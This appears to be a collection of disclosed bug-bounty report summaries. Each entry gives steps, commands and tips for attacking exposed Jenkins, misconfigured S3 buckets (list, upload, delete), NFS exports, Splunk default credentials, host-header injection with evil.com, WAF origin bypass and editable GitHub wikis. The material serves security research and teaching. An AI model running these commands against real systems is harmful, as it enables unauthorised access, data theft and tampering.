A host exposed a self-signed TLS cert whose Organization field named the target; a port scan revealed an alternate HTTP port running an unauthenticated Jenkins instance authenticated to GitHub, exposing full app source plus MySQL/SMTP/SMS keys.
Method
- Inspect TLS certs of in-scope IPs; read the Organization/CN field to attribute unmarked hosts to the target
- Port scan the host beyond 80/443 (here Jenkins on 8081)
- Open the discovered service; test for unauthenticated Jenkins/CI
- In open Jenkins, pull connected repo source and embedded credentials (DB/SMTP/SMS keys)
# attribute host via cert org field
openssl s_client -connect TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -subject
# find alternate services
nmap -sV -p- TARGET
# then browse http://TARGET:8081/ for open Jenkins
Insight — Self-signed certificate metadata (O=, CN=) is a reliable way to attribute stray hosts to a program; always full-port-scan attributed hosts because CI/build servers on odd ports are commonly left open and leak source + hardcoded secrets.
Real-world example
X-Forwarded-Host injection -> redirect to attacker host
◆ Info
Specimen #487 · security · 100 · 41 votes · resolved
Program securitySurface webChain X-Forwarded-Host injection -> redirect; potential cache pTag account-takeover
Root cause
The application trusted the client-supplied X-Forwarded-Host header when building absolute URLs, so injecting it caused the response to redirect to an attacker-controlled host (host-header injection; report mislabels it 'DNS cache poisoning').
Method
- Send a normal request adding X-Forwarded-Host: evil.com
- Observe the response redirecting to evil.com
- Check for cacheability to make it persistent for other users
GET / HTTP/1.1
Host: target
X-Forwarded-Host: evil.com
Insight — Inject X-Forwarded-Host / X-Host / X-Forwarded-Server / absolute Host on any request and watch for it reflected into redirects, password-reset links, or absolute resource URLs. If reflected and cached (unkeyed header), it becomes cache-poisoned open redirect / link poisoning for all users.
Real-world example
S3 bucket ACL grants AuthenticatedUsers full CRUD via aws cli
◆ Info
Specimen #129381 · x · awarded · 39 votes · resolved
Program xSurface cloudChain guess bucket -> authenticated-user write -> plant maliTag cloud-aws
Root cause
S3 bucket ACL granted the 'Authenticated Users' group (ANY AWS account, not just the org's) list/read/write/delete. Since this group means any authenticated AWS principal, an outsider with free AWS creds can list, download, upload (malware), and delete objects.
Method
- Enumerate candidate bucket names (mirror known naming, e.g. company-s3-production/staging/development).
- With any AWS credentials, test: aws s3 ls / cp / rm against the bucket.
- Success on ls/cp/rm confirms AuthenticatedUsers ACL misconfig (distinct from public/AllUsers).
aws s3 ls s3://niche-s3-production
aws s3 cp s3://niche-s3-production/PATH/FILE ./
aws s3 cp test.txt s3://niche-s3-production
aws s3 rm s3://niche-s3-production/PATH/FILE
Insight — 'Authenticated Users' ACL != private. It grants access to every AWS account on earth. Always test buckets with your OWN authenticated AWS creds, not just anonymous curl; write access enables malware planting and supply-chain style trust abuse.
Real-world example
TLS virtual-host confusion via shared/wildcard cert + default vhost
◆ Info
Specimen #501 · ibb · awarded · 23 votes · resolved
Program ibbSurface webChain DNS control -> shared-cert vhost confusion -> cookie tTag cors
Root cause
When two servers share a certificate (multi-SAN or wildcard) and a DNS attacker redirects domain A to server B, server B answers the A request using its default virtual host instead of rejecting the unrecognized Host, enabling HTTP-level impersonation of A.
Method
- Find a cert covering domain A that is also valid on a second server B (CDN/shared/wildcard/former customer)
- As a DNS/network attacker, point A's name at B
- Send HTTPS requests with Host: A; if B's default vhost serves/redirects/proxies them, A is impersonated
- Escalate: steal secure+httpOnly cookies, hijack OAuth tokens, or force HTTPS->HTTP downgrade
# DNS: A -> B(shared-cert). Then over TLS to B:
GET /secret HTTP/1.1
Host: victimA.com
# B default vhost: proxies (Akamai fallback), serves attacker page, or 302 to http:// -> token/cookie theft
Insight — Wildcard/multi-SAN certs on CDNs and 'former customer still in cert' cases create long-lived impersonation windows. Test any TLS host: send a covered-but-not-served Host and observe default-vhost behavior. SNI can be stripped via SSL3 downgrade to force the default vhost.
Real-world example
World-listable S3 bucket exposes internal files
◆ Info
Specimen #1654145 · gocd · none · 19 votes · resolved
Program gocdSurface cloudTag cloud-aws
Root cause
S3 bucket ACL/policy allows any AWS/anonymous principal to list and GET objects, exposing internal documents and media.
Method
- Discover the bucket name (from asset enumeration / URLs)
- Open https://<bucket>.s3.amazonaws.com/ to confirm listing
- Enumerate and download with the AWS CLI
https://<bucket>.s3.amazonaws.com/
aws s3 ls s3://<bucket>/binaries/
aws s3 ls s3://<bucket>/repodata/
aws s3 cp s3://<bucket>/<path> .
Insight — Test discovered buckets both anonymously and with any authenticated AWS account (AllUsers vs AuthenticatedUsers grants differ). List, then pull; even 'just docs' buckets often hold secrets, internal builds, or PII.
Real-world example
Publicly writable/deletable S3 bucket
◆ Info
Specimen #229690 · eternal · none · 18 votes · resolved
Program eternalSurface cloudTag cloud-aws
Root cause
S3 bucket ACL grants AllUsers/AuthenticatedUsers list/put/delete, allowing anonymous enumeration, content injection, overwrite and deletion.
Method
- Guess/enumerate an org-branded bucket name
- Test anonymous access with awscli
aws s3 ls s3://zomato-share
aws s3 cp test s3://zomato-share
aws s3 rm s3://zomato-share/test
Insight — Enumerate <org>-<word> bucket names and test list/write/delete unauthenticated. A writable bucket enables defacement, malware hosting and content injection under the victim's name even when hosted files look non-critical.
Real-world example
Cloudflare/WAF origin-IP bypass via SSL cert correlation
◆ Info
Specimen #703882 · people_interactive · none · 18 votes · resolved
Program people_interactiveSurface web
Root cause
Origin server accepts direct connections from any IP instead of only the CDN/WAF ranges; the real origin is discoverable by correlating its TLS certificate/content across the internet.
Method
- Confirm front-end resolves to Cloudflare ranges (reverse proxy/WAF)
- Search Shodan/Censys for hosts serving the same SSL certificate or content
- Hit the discovered origin IP directly with Host header to bypass the WAF
# find origin serving same cert/content
shodan search ssl.cert.subject.cn:target.com
curl -H 'Host: www.target.com' http://ORIGIN_IP/ # bypasses Cloudflare filtering
Insight — CDN/WAF protection is only as good as origin firewalling. Pivot from cert transparency + Shodan to the origin, then send unfiltered payloads/DoS directly. Remediation: origin allowlists only CDN IP ranges.
Real-world example
Internet-exposed NFS export remotely mountable
◆ Info
Specimen #287837 · bohemia · awarded · 18 votes · resolved
Program bohemiaSurface network
Root cause
An NFS server exports a share to * (any host) reachable from the internet, so anyone can mount it and read server files (game-server logs, configs, binaries).
Method
- nmap for rpcbind/nfs (111,2049) and run nfs-showmount to list exports
- Add the export to /etc/fstab and mount -a
- Browse the mounted filesystem for logs/configs/secrets
nmap -p111,2049 --script nfs-showmount,nfs-ls TARGET
# /etc/fstab:
TARGET:/zeus0 /mnt/t nfs rw,soft,intr 0 0
mount -a && ls -la /mnt/t
Insight — Include RPC/NFS (111/2049), showmount, and export ACLs in infra recon. World-readable exports leak source, logs and credentials; check for export list '*' and no_root_squash.
Real-world example
World-writable S3 bucket (blind write) for any authenticated AWS principal
◆ Info
Specimen #172549 · reverb · awarded · 17 votes · resolved
Program reverbSurface cloudChain Blind bucket write -> attacker file trusted by internal sTag cloud-aws
Root cause
An S3 bucket ACL granted the AuthenticatedUsers group (any AWS account) write access; the reporter could PutObject even without List permission.
Method
- Discover bucket names from naming patterns (reverb-files-staging -> guess reverb-ssh).
- As any authenticated AWS CLI user, attempt a write and watch for success vs AccessDenied.
- If the upload succeeds, an attacker can plant files a trusted internal process may consume.
aws s3 cp ./testfile s3://reverb-ssh
# success => 'upload: ./testfile to s3://reverb-ssh/testfile' instead of AccessDenied
Insight — Test S3 buckets for write even when you cannot list. AuthenticatedUsers ACL is a common misconfig; a writable internal-use bucket can seed malware/config that internal machines trust.
Real-world example
Permissive crossdomain.xml + user-uploaded SWF on allowed host = cross-domain data theft
◆ Info
Specimen #96662 · bumble · awarded · 16 votes · resolved
Program bumbleSurface webChain file upload to allowed subdomain -> SWF loaded cross-domaTag corsTag file-upload
Root cause
crossdomain.xml allows allow-access-from domain="*.badoo.com"; user file uploads are served from static-*.badoo.com (an allowed origin), so a malicious Flash file uploaded there can be embedded on an attacker site and read/write the victim's authenticated content cross-domain.
Method
- Find a wildcard crossdomain.xml (e.g. *.example.com).
- Find any upload feature that stores files on a subdomain covered by that wildcard and returns a retrievable URL.
- Upload a malicious .swf, host an attacker HTML page that embeds it, and have it make credentialed requests to the target reading /settings etc.
<!-- crossdomain.xml -->
<allow-access-from domain="*.badoo.com"/>
<!-- attacker page embeds the uploaded swf -->
<embed src="https://static-us2.badoo.com/file/36140042.0?signature=..."></embed>
Insight — A wildcard Flash/Silverlight cross-domain policy becomes exploitable the moment the app lets you host active content (SWF) on any covered subdomain. Pair permissive policy files with an upload sink.
Real-world example
Exposed Splunk management port with default admin:changeme
◆ Info
Specimen #158118 · shopify · $500 · 14 votes · resolved
Program shopifySurface webTag cloud-aws
Root cause
A Splunk management endpoint (port 8089) was internet-exposed with the factory default credentials admin:changeme still set.
Method
- Scan hosts for Splunk mgmt port 8089 / Splunkd
- Authenticate with default admin:changeme
- Access Splunk REST/UI (log data, potential search-based command execution)
https://TARGET:8089 -> login: admin / password: changeme
Insight — Fingerprint exposed admin/telemetry services (Splunk 8089, Elasticsearch 9200, Kibana, Grafana, Jenkins, RabbitMQ) and test factory defaults first. Default-credential findings on ops tooling are quick, high-value wins. Note dangling DNS can put such hosts unexpectedly in scope.
Real-world example
Editable public GitHub org wikis as phishing pages
◆ Info
Specimen #459634 · security · none · 12 votes · resolved
Program securitySurface webTag account-takeover
Root cause
GitHub repository wikis are editable by any authenticated user by default unless 'Restrict editing to users with push access' is enabled. On a trusted org's public repos, outsiders can create/edit wiki pages that appear under the org's github.com path.
Method
- Find public repos of the target org
- Visit /wiki and use New page/Edit to add a page as a non-collaborator
- Host phishing/misleading content on the trusted github.com/<org>/<repo>/wiki path
# On github.com/<org>/<repo>/wiki click 'New page' or 'Edit' without push access
# Publish a phishing page under the org's trusted repo path
Insight — Check every public org repo for default-open wikis; unrestricted wiki editing lets outsiders publish content under a trusted namespace. Remediation: enable 'Restrict editing to users in teams with push access' or disable the wiki.
Real-world example
Predictable-name S3 bucket with public ACL
◆ Info
Specimen #163476 · legalrobot · awarded · 10 votes · resolved
Program legalrobotSurface cloudTag cloud
Root cause
An S3 bucket named after the brand (legalrobot) has a public-readable ACL exposing a root directory listing, while other name permutations are correctly AccessDenied - an isolated ACL misconfiguration.
Method
- Generate bucket-name permutations from the brand/app name (brand, brand-assets, brand-backup, brand-prod...)
- Probe each: http://<name>.s3.amazonaws.com/ for a listing (ListBucket) or 200 objects
- Read exposed objects; test write with your own AWS account if listing is open
curl http://legalrobot.s3.amazonaws.com/
aws s3 ls s3://legalrobot --no-sign-request
Insight — Enumerate brand-derived bucket names and test ListBucket/GetObject unauthenticated; one misconfigured bucket among many correctly-locked ones is a common ops mistake. Also test unauthenticated PutObject for takeover.
Real-world example
Jenkins config disclosure via /computer/(master)/api/xml (CVE-2016-3727)
◆ Info
Specimen #208566 · owncloud · none · 6 votes · resolved
Program owncloudSurface webChain Config disclosure (CVE-2016-3727) -> version fingerprint Tag supply-chain
Root cause
An outdated public Jenkins exposes /computer/(master)/api/xml which, for users with extended-read on the master node, discloses global Jenkins configuration including the security-realm setup; the version is also affected by the XStream RCE (CVE-2017-2608).
Method
- Fingerprint the Jenkins version (footer / /api/json)
- Request /computer/(master)/api/xml to read global config incl security realm
- Cross-reference the version against Jenkins security advisories for RCE (e.g. XStream CVE-2017-2608)
GET https://ci.TARGET/computer/(master)/api/xml
Insight — Public CI servers are a high-value recon target: version them, then hit known info-disclosure endpoints (/computer/(master)/api/xml, /script, /asynchPeople) and map to advisories. Config disclosure of the security realm often precedes auth bypass/RCE.
Real-world example
Internal AWS AMIs briefly published to the public community catalog
◆ Info
Specimen #3083011 · aws_vdp · none · 4 votes · resolved
Program aws_vdpSurface cloudChain transient public AMI -> boot instance -> internal binaTag cloud-aws
Root cause
An internal AWS process momentarily flips private AMIs to public in the community AMI catalog before a cleanup step re-privatizes/deletes them, exposing internal-only machine images (with internal binaries and beta/gamma/dev references) to anyone monitoring the catalog during the window.
Method
- Enumerate the public community AMI catalog for images matching an internal naming prefix across all regions
- Loop describe-images per region to catch images during their short public window
- Launch an EC2 instance from a caught AMI ID, connect, and inspect its filesystem
- Recover internal binaries / endpoint references / account-ID lists
for region in $(aws ec2 describe-regions --query "Regions[].RegionName" --output text); do
echo "$region";
aws ec2 describe-images --filters "Name=name,Values=ib-lifecycle-basic-ami*" --region $region;
done
# then: aws ec2 run-instances --image-id <AMI_ID> ... ; ssh in; enumerate internal binaries
Insight — Shared cloud resources (AMIs, EBS snapshots, RDS snapshots, S3) that are 'private' can leak during publish/cleanup race windows. Continuously poll public catalogs for images owned/named by the target; even a brief exposure is enough to boot a copy. Filter by naming prefix, iterate every region, and diff over time to catch transient publications.
Real-world example
Publicly editable GitHub repo wiki (supply-chain/defacement primitive)
◆ Info
Specimen #475114 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface webTag supply-chain
Root cause
GitHub repo wikis default to being editable by any authenticated GitHub user unless the 'Restrict editing to collaborators only' box is set; on several org repos this was left open, letting anyone edit developer-facing docs to point to malicious dependencies.
Method
- For each target org repo, open /wiki and check whether the Edit button is available to a non-collaborator account.
- If editable, the wiki can be modified to inject links to malicious libraries or misleading setup instructions consumed by developers.
# check: https://github.com/<org>/<repo>/wiki -> is 'Edit' available without collaborator access?
Insight — Recon target GitHub orgs for repo wikis with open editing (Settings > Features > Wikis 'Restrict editing'). It's a low-severity but real supply-chain/defacement surface adjacent to broken-link takeover on the same docs.